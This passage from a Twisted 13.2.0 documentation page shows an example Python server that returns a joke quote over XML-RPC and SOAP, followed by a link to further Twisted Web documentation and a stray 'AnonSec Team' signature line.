 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">soap</span>, <span class="py-src-variable">xmlrpc</span>, <span class="py-src-variable">resource</span>, <span class="py-src-variable">server</span>
<span class="py-src-keyword">import</span> <span class="py-src-variable">os</span>

<span class="py-src-keyword">def</span> <span class="py-src-identifier">getQuote</span>():
    <span class="py-src-keyword">return</span> <span class="py-src-string">&quot;Victory to the burgeois, you capitalist swine!&quot;</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">XMLRPCQuoter</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_quote</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-keyword">return</span> <span class="py-src-variable">getQuote</span>()

<span class="py-src-keyword">class</span> <span class="py-src-identifier">SOAPQuoter</span>(<span class="py-src-parameter">soap</span>.<span class="py-src-parameter">SOAPPublisher</span>):
    <span class="py-src-keyword">def</span> <span class="py-src-identifier">soap_quote</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-keyword">return</span> <span class="py-src-variable">getQuote</span>()

<span class="py-src-keyword">def</span> <span class="py-src-identifier">main</span>():
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">root</span> = <span class="py-src-variable">resource</span>.<span class="py-src-variable">Resource</span>()
    <span class="py-src-variable">root</span>.<span class="py-src-variable">putChild</span>(<span class="py-src-string">'RPC2'</span>, <span class="py-src-variable">XMLRPCQuoter</span>())
    <span class="py-src-variable">root</span>.<span class="py-src-variable">putChild</span>(<span class="py-src-string">'SOAP'</span>, <span class="py-src-variable">SOAPQuoter</span>())
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">root</span>))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()

<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-variable">main</span>()
</pre><div class="caption">Source listing - <a href="listings/xmlAndSoapQuote.py"><span class="filename">listings/xmlAndSoapQuote.py</span></a></div></div>

<p>Refer to <a href="using-twistedweb.html#development" shape="rect">Twisted Web
Development</a> for more details about Resources.</p>

  </div>

    <p><a href="index.html">Index</a></p>
    <span class="version">Version: 13.2.0</span>
  </body>
</html>

Anon7 - 2022
AnonSec Team